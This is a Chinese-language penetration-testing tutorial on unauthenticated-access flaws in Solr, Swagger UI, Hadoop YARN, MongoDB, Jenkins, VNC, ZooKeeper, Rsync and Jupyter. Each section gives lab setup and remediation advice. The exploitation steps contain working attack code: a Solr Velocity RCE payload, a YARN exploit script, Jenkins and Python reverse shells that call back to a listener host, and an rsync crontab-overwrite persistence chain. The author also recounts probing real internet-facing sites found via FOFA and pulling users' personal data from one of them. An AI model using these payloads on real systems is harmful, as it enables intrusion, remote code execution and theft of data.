目录
接上篇文章,同样也是比较常见的未授权漏洞
11、Apache Solr未授权上传漏洞
12、Redis 未授权访问漏洞(会在下一篇文章单独)
13、SwaggerUI未授权访问漏洞
14、HadoopYARN 未授权访问漏洞
15、MongoDB 未授权访问漏洞
16、Jenkins 未授权访问漏洞
17、VNC 未授权访问漏洞
18、ZooKeeper 未授权访问漏洞
19、Rsync 未授权访问漏洞
20、Jupyter Notebook 未授权访问漏洞
Apache Solr未授权上传漏洞
Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。Apache Solr 存在文件上传安全漏洞,该漏洞源于缺少必要的身份验证,攻击者可利用该漏洞远程代码执行。
漏洞编号:CVE-2020-13957
环境搭建
https://archive.apache.org/dist/lucene/solr/7.0.1/solr-7.0.1.zip
上文搭建过,在解压好的bin目录下执行
solr.cmd start -c
漏洞验证
将solr目录\server\solr\configsets\_default\conf
下的solrconfig.xml中的params.resource.loader.enabled修改为true。(为远程命令执行做准备)
将conf目录文件打包成zip并上传
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=file1"
根据UPLOAD的配置,创建一个新的配置,绕过不能通过直接UPLOAD创建collection的限制
curl "http:/127.0.0.1:8983/solr/admin/configs?action=CREATE&name=file3&baseConfigSet=file1&configSetProp.immutable=false&wt=xml&omitHeader=true"
根据CREATE得到的新configset创建恶意collection
curl "http:/127.0.0.1:8983/solr/admin/collections?action=CREATE&numShards=1&name=file2&collection.configName=file3"
利用已上传的collection进行远程命令执行,这里执行的是whoami
http://127.0.0.1:8983/solr/file2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
修复措施
- 升级Solr至最新版本
- 通过设置系统属性来禁用 ConfigSets API 中的 UPLOAD 命令:{{configset.upload.enabled}} 到 {{false}}
- 使用身份验证/授权并确保不允许未知请求
SwaggerUI未授权访问漏洞
Swagger
是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。
相关的方法,参数和模型紧密集成到服务器端的代码,允许API来始终保持同步。Swagger-UI
会根据开发人员在代码中的设置来自动生成API说明文档
,若存在相关的配置缺陷,攻击者可以未授权
翻查Swagger接口文档
,得到系统功能API接口的详细参数
,再构造参数发包,通过回显获取系统大量的敏感信息。
环境搭建
可以去自己搭建一个SwaggerUI或者直接fofa
"swagger" && icon_hash="1120729672"
漏洞验证
下面的路径就是常见的Swagger 未授权访问泄露路径,师傅们可以通过bp抓包,然后再通过bp对该接口路径进行爆破,但是我一般是先使用曾哥的一款spring-boot扫描工具去做一个自动化扫描,但是有部分网站可能对那个工具会拒绝请求,所以还是可以尝试使用bp爆破
/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
随便从fofa找一个资产,可以看到这里泄露了很多接口信息
然后可以在json文件看到里面有非常多的api接口泄露,但是太多了很多都是没有权限访问的,挨个拼接不太现实,直接找一个工具来扫一下,https://github.com/jayus0821/swagger-hack
,可以自动爬取并自动测试所有swagger接口
最终输出结果会输出在一个表格中,同样如果有关键信息也会显示在表格中,例如这里
很显然这应该是是南阳市这几个高中的一些相关信息,不过泄露的信息并不是敏感信息故不造成网络安全威胁
高危的是一些类似于什么env、log日志信息、heapdump信息等以及个人信息泄露,其实在正常工作中,类似于这种信息说重要也重要,说不重要其实也不重要,因为仅仅是人名+组织结构,但是如果攻击者利用结构和人名去获取信任进行钓鱼,也是大有危害,所以这类信息泄露还是要在项目中具体情况具体分析
顺手还看到了个爆破用户信息的,后面参数可控直接就把所有用户家庭住址手机号啥的爆破出来了,不过这个权重太低了补天不收录就不交了
修复措施
- 禁用swaggerUI的默认路径
- 添加访问控制,在应用程序中添加身份验证控制来防止未经授权的访问
- 配置swagger文档的访问权限
Hadoop未授权访问漏洞
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
环境搭建
mkdir hadoop
cd hadoop/
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/exploit.py
#或者利用DownGit下载https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
DownGit网址:https://minhaskamal.github.io/DownGit/#/home
docker-compose build && docker-compose up -d #编译并启动环境
漏洞验证
我这边docker一直出问题,试了一下应该是docker配置的问题,正常web服务能起docker的起不来,很离谱,直接用vulfocus了,上面的hadoop是2.8.1,这个漏洞只要hadoop 3.3.0就可以复现
直接打exp
`#!/usr/bin/env python
import requests
target = 'http://123.58.224.8:32054/' 目标网址
lhost = '用来反弹的ip' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/反弹到的端口号 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
开一下监听,我这是已经弹回来了
根据提示找flag,有意思的是这个靶场定义这个为命令执行,不过也对
修复建议
- 如无必要,关闭 Hadoop Web 管理页面。
- 开启身份验证,防止未经授权用户访问
- 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。
MongoDB 未授权访问漏洞
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增、删、改、查高危动作)而且可以远程访问数据库。
造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 –auth 也很少会有人会给数据库添加上账号密码(默认空口令),使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。
环境搭建
docker pull mongo #从镜像仓库中拉取或者更新指定镜像
docker run -d -p 27017:27017 --name mongodb mongo # 创建一个新的容器并运行一个命令
docker ps # 显示正在运行的容器
漏洞测试
这里使用 NoSQLBooster
下载地址:https://www.nosqlbooster.com/downloads
nmap检测:
nmap -p 27017 --script mongodb-info 127.0.0.1
修复措施
-
为MongoDB添加认证:MongoDB启动时添加–auth参数、为MongoDB添加用户
-
MongoDB 自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,一般不需要通过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false
-
启动时加入参数–bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容:bind_ip = 127.0.0.1
Jenkins 未授权访问漏洞
默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。
环境搭建
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载
dpkg -i jenkins_1.621_all.deb # 安装
sudo apt-get -f --fix-missing install # 如果有报依赖项的错误时执行
#开启Jenkins服务
systemctl start jenkins
#查看服务状态
systemctl status jenkins.service
访问http://your-ip:8080/
,出现界面环境启动成功
漏洞验证
漏洞访问http://your-ip:8080/manage
可以看到没有任何限制可以直接访问修复
可以看到有个脚本命令行,点击进去即可执行命令以及写shell操作
println "whoami".execute().text
网站路径:/var/www/html (这里本地靶场,实战如要写shell需要借助其他途径或者猜测网站路径写入shell,同时需要具备一定权限)
#反弹shell
println "bash -i >& /dev/tcp/192.168.158.141/4444 0>&1".execute().text
#开启监听
nc -lvp 4444
执行后发现并无反应,也并没有报权限不足的提示,换个思路,写个反弹shell的脚本放在自己服务器下面,然后wegt到靶机中
shell.py内容:
#!/usr/bin/python
# This is a Python reverse shell script
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.158.141",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
#下载脚本到靶机
println "wget https://www.xxxx.cn/shell.py -P /tmp/".execute().text
在靶机tmp目录下看到了我们成功写入,当然前面写shell直接写没权限也可以这么操作,前提是有web服务且有网站路径
然后执行这个脚本
println "python3 /tmp/shell.py".execute().text
监听端口收到权限,反弹成功
修复措施
- 升级版本。
- 添加认证,设置强密码复杂度及账号锁定。
- 禁止把Jenkins直接暴露在公网。
VNC 未授权访问漏洞
VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。
环境搭建
我这里用的是5.2.0版本,server端放在了win10上
server和Viewer端我都放到了百度网盘上,因为官网的不太好找
链接:https://pan.baidu.com/s/1csCI_8AA_ne5Qio0XuoTcg
提取码:3614
1、进行安装(一直下一步即可),然后百度找个key输入即可。
2、配置非加密连接,即设置无需用户密码登录。
可以看到这个甚至不算漏洞,只能算配置不当造成的
漏洞验证
xtightvncviewer 192.168.50.1 #这个是kali自带的不需要安装
当然Windows下也可以下载Viewer端然后连接,我这里就直接Linux下连接了
修复措施
-
配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
-
以最小普通权限身份运行操作系统。
ZooKeeper 未授权访问漏洞
zookeeper是分布式协同管理工具,常用来管理系统配置信息,提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。攻击者能够执行所有只允许由管理员运行的命令。
环境搭建
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
#如果链接失效了就去官网找
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动
#如果提示权限不足,需要进入bin目录下赋权限
chmod a+xwr zkServer.sh
./zkServer.sh start
漏洞验证
Linux下验证漏洞:
#获取该服务器的环境
echo envi|nc 192.168.158.143 2181
#stat:列出关于性能和连接的客户端的统计信息。
echo stat |nc 192.168.158.143 2181
#ruok:测试服务器是否运行在非错误状态。
echo ruok |nc 192.168.158.143 2181
#reqs:列出未完成的请求。
echo reqs |nc 192.168.158.143 2181
#envi:打印有关服务环境的详细信息。
echo envi |nc 192.168.158.143 2181
#dump:列出未完成的会话和临时节点。
echo dump |nc 192.168.158.143 2181
Windows下验证漏洞:
下载地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
修复措施
-
修改 ZooKeeper 默认端口,采用其他端口服务。
-
添加访问控制,配置服务来源地址限制策略。
-
增加 ZooKeeper 的认证配置。
Rsync 未授权访问漏洞
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,且默认允许匿名访问,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
环境搭建
vulhub傻瓜式操作
cd /vulhub/rsync/common
# 编译并启动docker容器
docker-compose build && docker-compose up -d
我这里就图个方便用现成的了
漏洞测试
#rsync rsync://{target_ip}/
rsync rsync://123.58.224.8:24902/
rsync rsync://123.58.224.8:24902/src
根据提示找flag
rsync rsync://123.58.224.8:24902/src/tmp/
反弹shell方法(1):
- 写一个bash反弹shell脚本到目标服务器(带着执行权限)
- 利用未授权,下载、编辑并上传crontab配置文件,定时运行脚本
#!/bin/bash
/bin/bash -i >& /dev/tcp/<listener_ip>/<listener_port> 0>&1
本地准备好反弹shell文件,并赋予执行权限
将反弹shell文件上传到攻击者目录下
rsync -av shell.sh rsync://123.58.224.8:21123/src/shell.sh
# 下载crontab配置文件
rsync rsync://123.58.224.8:21123/src/etc/crontab ./
#编辑crontab文件并保存退出(每隔1分钟运行一次脚本)
*/1 * * * * root /src/shell.sh
#上传crontab文件并覆盖
rsync -av crontab rsync://123.58.224.8:21123/src/etc/crontab
开启监听端口:
nc -lvp 9999
不出意外的话监听这边过一会就会收到shell,不过我这里出意外了,看了一眼环境到期了…….
反弹shell方法(2):
# 下载crontab配置文件
rsync rsync://123.58.224.8:39944/src/etc/crontab ./
该环境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示每小时的第17分钟执行run-parts --report /etc/cron.hourly,编辑一下
#rontab文件编辑如下:(表示每分钟会执行/etc/cron.hourly文件夹下的文件)
*/1 * * * * root cd / && run-parts --report /etc/cron.hourly
#上传crontab文件覆盖原有文件
rsync -av crontab rsync://123.58.224.8:35609/src/etc/crontab
#上传反弹shell文件到cron.hourly目录下
rsync -av shell rsync://123.58.224.8:39944/src/etc/cron.hourly
开启监听:
修复措施
-
账户认证:正确配置认证用户名及密码。
-
权限控制:使用合理的权限。
-
网络访问控制:控制接入源ip。
-
数据加密传输等
Jupyter Notebook 未授权访问漏洞
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。
漏洞编号:CVE-2019-9644
环境搭建
vulhub傻瓜式操作
cd /vulhub/jupyter/notebook-rce/
docker-compose up -d
如果没有vulhub可以
wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml
docker-compose up -d
或者使用在线靶场:https://vulfocus.cn/
漏洞验证
我这里是因为靶场映射的端口
利用terminal命令执行
New > Terminal 创建控制台,可以执行命令
也可以直接弹shell回来
漏洞修复
-
开启身份验证,防止未经授权用户访问
-
访问控制策略,限制IP访问,绑定固定IP